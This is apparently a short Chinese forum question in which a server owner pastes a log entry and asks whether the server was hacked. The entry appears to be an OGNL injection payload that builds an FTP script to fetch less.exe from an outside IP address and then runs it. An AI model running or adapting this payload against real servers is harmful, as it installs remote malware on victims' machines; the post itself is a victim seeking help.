服务器日志打印了这些信息

{"cmd","/c","@echo","open","120.27.54.108>>Ex.dat&@echo","asd>>Ex.dat&@echo","asd>>Ex.dat&@echo","bin>>Ex.dat&@echo","get","less.exe>>Ex.dat&@echo","bye>>Ex.dat&@echo","less.exe>>Ex.dat&@ftp","-s:Ex.dat&del","Ex.dat&less.exe&less.exe&less.exe"})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[20000],#d.read(#e),#res.getWriter().println(#e),#res.getWriter().flush(),#res.getWriter().close()]

这是执行的一段代码，是不是服务器被人黑了。
